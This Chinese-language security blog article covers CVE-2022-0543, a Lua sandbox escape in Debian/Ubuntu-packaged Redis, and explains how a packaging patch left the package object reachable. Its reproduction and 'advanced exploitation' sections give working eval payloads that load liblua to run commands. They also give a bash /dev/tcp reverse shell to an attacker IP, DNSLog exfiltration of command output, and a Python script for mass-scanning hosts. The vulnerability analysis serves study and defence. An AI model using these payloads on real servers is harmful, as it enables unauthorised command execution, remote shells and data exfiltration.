当前位置：首页 > news >正文

CVE-2022-0543深度剖析：Redis史上最冤枉的RCE漏洞与供应链安全警示

news 2026/4/27 16:06:27

引言

2022年3月，一个编号为CVE-2022-0543的Redis远程命令执行漏洞在安全圈炸开了锅。与以往Redis漏洞不同的是，这个漏洞并非Redis官方代码的问题，而是Debian/Ubuntu发行版在打包Redis时的一个低级补丁失误导致的。

这意味着：Redis官方发布的原生版本完全安全，但全球数百万运行在Debian/Ubuntu系统上的Redis实例却一夜之间暴露在远程代码执行的风险之下。更讽刺的是，Debian修改Redis编译方式的初衷是为了"减小软件体积、提高系统安全性"，结果却适得其反，制造了当年影响最广泛的Redis漏洞之一。

本文将从漏洞原理、复现过程、利用进阶、真实攻击案例到供应链安全启示，全方位深度解析这个"最冤枉的Redis漏洞"，为企业构建更完善的安全防御体系提供参考。

一、漏洞基本信息与影响范围

1.1 核心信息

CVE ID：CVE-2022-0543
漏洞类型：Lua沙箱绕过 → 远程命令执行（RCE）
风险等级：高危（CVSS 3.1评分：9.8/10）
披露时间：2022年3月14日
发现者：Reginaldo Silva

1.2 精确影响范围

系统类型	是否受影响	受影响Redis版本	修复版本
Debian/Ubuntu及其衍生版	✅ 是	≤ 6.2.6	6.2.7-1+deb11u2
CentOS/RHEL/Fedora	❌ 否	所有版本	无需修复
Redis官方原生版本	❌ 否	所有版本	无需修复
Docker官方Redis镜像	❌ 否	所有版本	无需修复

重要说明：Vulhub中的CVE-2022-0543环境使用的是Ubuntu 20.04（Focal）系统，因此可以复现成功。如果你使用CentOS系统部署Redis，即使版本≤6.2.6也不会受到此漏洞影响。

1.3 利用条件

攻击者能够连接到Redis服务（6379端口开放）
Redis未配置密码或攻击者拥有合法的认证凭据
Redis启用了Lua脚本功能（默认开启，几乎所有生产环境都不会关闭）

二、Redis Lua沙箱机制的设计与实现

要理解这个漏洞，我们首先需要深入了解Redis官方设计的Lua沙箱安全机制。

2.1 Redis为什么需要Lua脚本

Redis从2.6版本开始引入Lua脚本支持，主要解决两个核心问题：

原子性操作：将多个Redis命令打包成一个原子执行的脚本，避免并发竞争条件
复杂逻辑处理：在服务端执行简单的计算和逻辑，减少网络往返次数

2.2 官方沙箱的安全设计

Redis官方深知执行任意脚本的风险，因此设计了极其严格的Lua沙箱环境：

删除所有危险全局对象：在初始化Lua环境时，彻底删除os、io、debug、package等可能导致沙箱逃逸的模块
禁用危险函数：即使是保留的模块，也会删除其中的危险函数
限制脚本执行时间：默认脚本最大执行时间为5秒，超时会被强制终止
禁止文件系统和网络访问：Lua脚本无法直接读写文件或建立网络连接

以下是Redis官方源码中初始化Lua沙箱的关键代码片段（src/scripting.c）：

voidluaInitGlobalState(lua_State*lua){// 删除危险的全局模块lua_pushnil(lua);lua_setglobal(lua,"os");lua_pushnil(lua);lua_setglobal(lua,"io");lua_pushnil(lua);lua_setglobal(lua,"debug");lua_pushnil(lua);lua_setglobal(lua,"package");// 官方版本彻底删除package模块// 只保留安全的函数和模块// ...}

在官方沙箱中，执行任何系统命令的尝试都会失败：

127.0.0.1:6379> eval 'return os.execute("id")' 0 (error) ERR error running script: attempt to call global 'os' (a nil value)

三、漏洞成因深度溯源：Debian补丁的致命失误

3.1 Debian为什么要修改Redis

Debian/Ubuntu发行版在打包软件时，通常会遵循"动态链接优先"的原则，原因有二：

减小软件体积：多个程序可以共享同一个系统库，避免重复打包
便于安全更新：如果系统库发现漏洞，只需更新一次库文件，所有依赖它的程序都会受益

对于Redis，Debian维护者认为官方静态编译Lua引擎的方式不符合Debian的打包规范，因此他们做了一个关键修改：将Redis从静态链接Lua改为动态链接系统自带的liblua5.1.so库。

3.2 补丁的具体错误

这个修改本身没有问题，但Debian维护者在调整沙箱初始化代码时犯了一个致命错误：

官方版本：在编译时就将package模块从Lua引擎中完全移除，运行时根本不存在这个对象
Debian版本：动态链接的liblua5.1.so自带完整的package模块，Debian补丁只是在Redis初始化时将其设置为nil，而不是彻底删除

更糟糕的是，Debian的补丁代码存在逻辑漏洞，导致package对象并没有被完全清除，而是以一个空表的形式残留在Lua全局环境中。

3.3 漏洞的本质

漏洞的本质可以用一句话概括：Debian的补丁只做了"表面功夫"，它隐藏了package对象，但没有真正禁用它的功能。

当攻击者在Lua脚本中访问package时，虽然它看起来是一个空表，但它仍然保留了Lua原生的元表和所有方法，包括最危险的package.loadlib函数。

四、沙箱逃逸的完整技术链条

4.1 第一步：验证漏洞存在

攻击者首先可以通过以下命令验证目标是否存在漏洞：

127.0.0.1:6379>eval'return type(package)'0"table"# 存在漏洞，返回table类型

漏洞环境：返回"table"（package对象存在）
安全环境：返回"nil"（package对象不存在）

4.2 第二步：利用package.loadlib加载系统库

package.loadlib(so_path, func_name)是Lua标准库中的函数，它的作用是加载指定的动态链接库，并返回库中指定导出函数的指针。

由于Debian的Redis动态链接了系统的liblua5.1.so，这个库文件一定存在于目标系统中。攻击者可以通过package.loadlib重新加载这个库，并获取其中被Redis禁用的模块初始化函数。

4.3 第三步：手动激活被禁用的模块

liblua5.1.so中包含了所有Lua标准模块的初始化函数：

luaopen_io：初始化io模块，包含io.popen（执行命令并获取输出）
luaopen_os：初始化os模块，包含os.execute（执行命令）
luaopen_debug：初始化debug模块，可用于更深入的沙箱逃逸

攻击者只需要调用这些函数，就能重新获取被Redis禁用的危险模块。

4.4 第四步：执行任意系统命令

获取到io或os模块后，攻击者就可以执行任意系统命令了。整个过程不需要修改Redis的任何配置，也不需要写入任何文件，完全在内存中完成。

五、Vulhub完整复现指南与踩坑总结

5.1 环境搭建

克隆Vulhub仓库并进入漏洞目录：

gitclone https://github.com/vulhub/vulhub.gitcdvulhub/redis/CVE-2022-0543

启动Docker环境：
```
docker-composeup-d
```
环境启动后，Redis服务将监听在0.0.0.0:6379，无密码访问。
验证环境是否正常：
```
redis-cli-h127.0.0.1ping# 输出：PONG
```

5.2 基础漏洞验证与命令执行

验证package对象存在：

127.0.0.1:6379>eval'return package'0(empty array)

执行id命令并获取回显：

eval'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res'0

预期输出：

"uid=999(redis) gid=999(redis) groups=999(redis)\n"

5.3 不同系统的liblua路径对照表

这是复现过程中最容易踩的坑！不同版本的Debian/Ubuntu系统，liblua5.1.so的路径可能不同：

系统版本	64位系统路径	32位系统路径
Ubuntu 20.04/22.04	/usr/lib/x86_64-linux-gnu/liblua5.1.so.0	/usr/lib/i386-linux-gnu/liblua5.1.so.0
Ubuntu 18.04	/usr/lib/x86_64-linux-gnu/liblua5.1.so.0	/usr/lib/i386-linux-gnu/liblua5.1.so.0
Debian 10/11	/usr/lib/x86_64-linux-gnu/liblua5.1.so.0	/usr/lib/i386-linux-gnu/liblua5.1.so.0

如果不确定目标系统的路径，可以使用以下命令自动查找（需要有执行命令的权限）：

eval'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("find /usr -name liblua5.1.so.0 2>/dev/null", "r"); local res = f:read("*a"); f:close(); return res'0

5.4 交互式Shell获取

攻击机开启监听：
```
nc-lvvp4444
```

在Redis中执行反弹Shell Payload：

eval'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_l(); os.execute("bash -c \"exec bash -i >& /dev/tcp/192.168.1.100/4444 0>&1\"")'0

注意将192.168.1.100替换为攻击机的实际IP地址。

攻击机成功获取Shell：

listening on [any] 4444 ... connect to [192.168.1.100] from (UNKNOWN) [192.168.1.200] 54321 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell redis@f8a7b6c5d4e3:/data$ whoami redis

六、漏洞利用进阶实战

6.1 无回显利用与DNSLog外带

当目标服务器无法直接出网到攻击机的端口，但可以解析DNS时，可以使用DNSLog外带数据：

eval'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); os.execute("ping -c 1 "..res:gsub("%W","")..".xxx.dnslog.cn")'0

6.2 批量检测脚本

以下是一个简单的Python批量检测脚本，可以快速扫描多个Redis实例是否存在CVE-2022-0543漏洞：

importredisimportsysdefcheck_vulnerability(host,port=6379,password=None):try:r=redis.Redis(host=host,port=port,password=password,socket_timeout=3)result=r.eval("return type(package)",0)ifresult==b'table':print(f"[+]{host}:{port}存在CVE-2022-0543漏洞")returnTrueelse:print(f"[-]{host}:{port}不存在漏洞")returnFalseexceptExceptionase:print(f"[!]{host}:{port}连接失败:{str(e)}")returnFalseif__name__=="__main__":iflen(sys.argv)<2:print(f"用法: python3{sys.argv[0]}<ip_list.txt>")sys.exit(1)withopen(sys.argv[1],'r')asf:forlineinf:ip=line.strip()ifip:check_vulnerability(ip)